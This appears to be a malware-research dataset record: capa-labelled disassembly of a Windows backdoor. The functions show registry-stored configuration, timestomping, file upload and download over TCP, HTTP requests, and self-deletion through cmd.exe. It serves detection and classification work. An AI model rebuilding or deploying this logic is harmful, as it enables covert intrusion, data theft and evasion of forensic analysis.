joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4228bc
Capabilities:
Hash data using murmur3

Disassembly:
pop edi
jp 0x422924
invalid
xchg esp, eax
fadd st(6), st(0)
sahf
add esi, dword [0x4bacd1]
rol ecx, 0x1d
not ecx
sub eax, esi
xchg ebx, eax
neg esi
dec eax
call fcn.0042b45d
neg ecx
xor edx, esi
rol eax, 0x1e
dec edx
ror edx, 0xc
and dword [0x4bab71], edx
xor dword [0x4ba888], 0xbd84e230
rol edx, 0xc
inc edx
ror eax, 0x1e
xor edx, esi
neg ecx
inc eax
neg esi
xchg ebx, eax
add eax, esi

Function at 0x422994
Capabilities:
Hash data using murmur3

Disassembly:
sub dword [0x4bab53], edx
rol edx, 0x19
xchg ecx, edx
and dword [0x4ba894], eax
neg edx
rol edi, 3
not esi
sub dword [0x4babd6], edx
dec ebx
ror ecx, 0xf
invalid
invalid

Function at 0x422aac
Capabilities:
Hash data using murmur3

Disassembly:
cmp byte [ebp - 0x4217ffb5], ch
inc esp
add al, 0

Function at 0x422f00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x423036
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x423020
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x422f5d
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x423020
cmp dword [ebp - 0x14], 0
jne 0x422f72
mov eax, dword [ebp - 0xc]
call fcn.00407a20
mov bl, 1
jmp 0x423020
cmp dword [ebp - 0x14], 0x70000000
jb 0x422f80
call fcn.0041f270
mov esi, dword [ebp - 0x14]
inc esi
shr esi, 1
lea eax, [ebp - 4]
mov ecx, esi
xor edx, edx
call fcn.00407ba8
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
call fcn.00407fa0
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW
cmp eax, 0xea
je 0x422f26
test eax, eax
jne 0x423020
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x422fce
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x423020
mov esi, dword [ebp - 0x14]
shr esi, 1
jmp 0x422fd6
dec esi
test esi, esi
je 0x422fe5
mov eax, dword [ebp - 4]
cmp word [eax + esi*2 - 2], 0
je 0x422fd5
cmp dword [ebp - 0x10], 7
jne 0x422ff0
test esi, esi
je 0x422ff0
inc esi
lea eax, [ebp - 4]
mov edx, esi
call fcn.00408664
cmp dword [ebp - 0x10], 7
jne 0x423013
test esi, esi
je 0x423013
lea eax, [ebp - 4]
call fcn.00407fa0
mov word [eax + esi*2 - 2], 0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00407e00
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42303d
lea eax, [ebp - 4]
call fcn.00407a20
ret

Function at 0x4246e4
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x4c090c
mov eax, esi
mov edx, 8
test al, 1
je 0x424700
shr eax, 1
xor eax, 0xedb88320
jmp 0x424702
shr eax, 1
dec edx
jne 0x4246f3
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x4246ec
pop esi
ret
Function at 0x401000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoft_XPS
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401029
xor eax, eax
jmp 0x401066
push 0
push 0
push 0
push 0
push str.Configuration
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401057
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x401066
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401070
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00402eb0
push esi
push edi
mov ecx, 0x400
xor eax, eax
lea edi, [ebp - 0x1008]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x1008]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov edx, dword [ebp - 4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [edx + ecx + 1]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [edx + ecx + 1]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
mov edx, dword [ebp - 4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [edx + ecx + 1]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x14]
mov edx, dword [ebp - 4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x14]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [edx + ecx + 1]
mov dword [ebp - 4], eax
push 0
lea ecx, [ebp - 0x100c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoft_XPS
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x4011b9
mov eax, 1
jmp 0x401202
push 0x1000
lea edx, [ebp - 0x1008]
push edx
push 3
push 0
push str.Configuration
mov eax, dword [ebp - 0x100c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4011f3
mov ecx, dword [ebp - 0x100c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x401202
mov edx, dword [ebp - 0x100c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401210
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoft_XPS
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x401244
mov eax, 1
jmp 0x401279
push str.Configuration
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40126d
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x401279
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401280
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00402eb0
push esi
push edi
mov dword [ebp - 8], 0x1001
lea eax, [ebp - 0x1010]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoft_XPS
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4012c2
mov eax, 1
jmp 0x401411
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x1008]
push edx
push 0
push 0
push str.Configuration
mov eax, dword [ebp - 0x1010]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x100c], 0
je 0x401309
mov ecx, dword [ebp - 0x1010]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x401411
lea edx, [ebp - 0x1008]
mov dword [ebp - 4], edx
mov edi, dword [ebp - 4]
mov edx, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [edx + ecx + 1]
mov dword [ebp - 4], eax
mov edi, dword [ebp - 4]
mov edx, dword [ebp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [edx + ecx + 1]
mov dword [ebp - 4], eax
mov edi, dword [ebp - 4]
mov edx, dword [ebp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [edx + ecx + 1]
mov dword [ebp - 4], eax
mov edi, dword [ebp - 4]
mov edx, dword [ebp + 0x20]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x20]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [edx + ecx + 1]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x1010]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4014e0
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0
push 0x80
push 3
push 0
push 1
push connect
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401515
mov eax, 1
jmp 0x4015a0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x401540
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x4015a0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1c], eax
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x401594
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x4015a0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4015b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x4015d9
mov eax, 1
jmp 0x40162d
mov edi, str.kernel32.dll
lea edx, [ebp - 0x400]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x400]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004014e0
add esp, 8
test eax, eax
je 0x40162b
mov eax, 1
jmp 0x40162d
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401640
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov eax, dword [ebp + 8]
mov dword [eax], 0xffffffff
lea ecx, [ebp - 0x190]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401672
mov eax, 1
jmp 0x40172d
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0
jne 0x40169b
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x40172d
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
cmp dword [edx], 0xffffffff
jne 0x4016c1
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x40172d
mov word [ebp - 0x1a4], 2
mov eax, dword [ebp - 0x194]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x1a0], eax
mov cx, word [ebp + 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a2], ax
push 0x10
lea edx, [ebp - 0x1a4]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40172b
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp + 8]
mov dword [ecx], 0xffffffff
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x40172d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401790
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00401640
add esp, 0xc
test eax, eax
je 0x4017c2
mov eax, 1
jmp 0x401862
mov dword [ebp - 0x20c], 0
mov eax, dword [ebp + 0x10]
push eax
push 0x200
push 1
lea ecx, [ebp - 0x208]
push ecx
call fcn.00402f75
add esp, 0x10
mov dword [ebp - 8], eax
push 0
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x208]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0xffffffff
jne 0x401822
lea edx, [ebp - 4]
push edx
call fcn.00401740
add esp, 4
mov eax, 1
jmp 0x401862
mov eax, dword [ebp - 0x20c]
add eax, dword [ebp - 0x210]
mov dword [ebp - 0x20c], eax
mov ecx, dword [ebp - 0x20c]
cmp ecx, dword [ebp - 8]
jb 0x4017e9
cmp dword [ebp - 8], 0
ja 0x4017c2
lea edx, [ebp - 4]
push edx
call fcn.00401740
add esp, 4
test eax, eax
je 0x401860
mov eax, 1
jmp 0x401862
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401870
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00401640
add esp, 0xc
test eax, eax
je 0x4018a2
mov eax, 1
jmp 0x4019d8
push 0
push 0x80
push 3
push 0
push 1
push connect
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
jne 0x4018e3
lea ecx, [ebp - 4]
push ecx
call fcn.00401740
add esp, 4
mov eax, 1
jmp 0x4019d8
mov dword [ebp - 0x210], 0
push 0
lea edx, [ebp - 8]
push edx
push 0x200
lea eax, [ebp - 0x208]
push eax
mov ecx, dword [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401945
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x26
je 0x40193e
lea edx, [ebp - 4]
push edx
call fcn.00401740
add esp, 4
mov eax, dword [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x4019d8
mov dword [ebp - 8], 0
push 0
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x208]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x40198b
lea ecx, [ebp - 4]
push ecx
call fcn.00401740
add esp, 4
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x4019d8
mov eax, dword [ebp - 0x210]
add eax, dword [ebp - 0x214]
mov dword [ebp - 0x210], eax
mov ecx, dword [ebp - 0x210]
cmp ecx, dword [ebp - 8]
jb 0x401945
cmp dword [ebp - 8], 0
ja 0x4018e3
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 4]
push eax
call fcn.00401740
add esp, 4
test eax, eax
je 0x4019d6
mov eax, 1
jmp 0x4019d8
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4019e0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 8]
push edx
call fcn.00401640
add esp, 0xc
test eax, eax
je 0x401a12
mov eax, 1
jmp 0x401ae6
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
jne 0x401a53
lea ecx, [ebp - 8]
push ecx
call fcn.00401740
add esp, 4
mov eax, 1
jmp 0x401ae6
push 0
push 0x200
lea edx, [ebp - 0x208]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x208]
push edx
mov eax, dword [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401aae
lea ecx, [ebp - 8]
push ecx
call fcn.00401740
add esp, 4
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x401ae6
cmp dword [ebp - 4], 0
jg 0x401a53
mov eax, dword [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 8]
push ecx
call fcn.00401740
add esp, 4
test eax, eax
je 0x401ad8
mov eax, 1
jmp 0x401ae6
mov edx, dword [ebp + 0x10]
push edx
call fcn.004015b0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401af0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x610
push ebx
push esi
push edi
mov dword [ebp - 0x40c], 0
mov dword [ebp - 0x408], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x40c]
push edx
call fcn.00401640
add esp, 0xc
test eax, eax
je 0x401b35
mov eax, 1
jmp 0x401cfc
mov edi, str.GET
lea edx, [ebp - 0x404]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x10]
lea edx, [ebp - 0x404]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._HTTP_1.0_r_n_r_n
lea edx, [ebp - 0x404]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea edi, [ebp - 0x404]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
push ecx
lea eax, [ebp - 0x404]
push eax
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 0xffffffff
jne 0x401c18
mov edx, dword [ebp - 0x40c]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x401cfc
push 0
push 0x200
lea eax, [ebp - 0x60c]
push eax
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x401cad
mov edx, dword [ebp - 0x408]
add edx, dword [ebp - 4]
mov eax, dword [ebp + 0x18]
cmp edx, dword [eax]
jbe 0x401c65
lea ecx, [ebp - 0x40c]
push ecx
call fcn.00401740
add esp, 4
mov eax, 1
jmp 0x401cfc
mov ecx, dword [ebp - 4]
lea esi, [ebp - 0x60c]
mov edi, dword [ebp + 0x14]
add edi, dword [ebp - 0x408]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x408]
add eax, dword [ebp - 4]
mov dword [ebp - 0x408], eax
push str._r_n_r_n
mov ecx, dword [ebp + 0x14]
push ecx
call fcn.00403060
add esp, 8
test eax, eax
je 0x401cab
jmp 0x401cd5
jmp 0x401ccb
cmp dword [ebp - 4], 0
jne 0x401cb5
jmp 0x401ccb
lea edx, [ebp - 0x40c]
push edx
call fcn.00401740
add esp, 4
mov eax, 1
jmp 0x401cfc
cmp dword [ebp - 4], 0
jg 0x401c18
lea eax, [ebp - 0x40c]
push eax
call fcn.00401740
add esp, 4
test eax, eax
je 0x401cef
mov eax, 1
jmp 0x401cfc
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp - 0x408]
mov dword [ecx], edx
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402410
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov edi, str._c_del
lea edx, [ebp - 0x104]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x208]
lea edx, [ebp - 0x104]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.____NUL
lea edx, [ebp - 0x104]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push str.cmd.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call fcn.00402da9
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret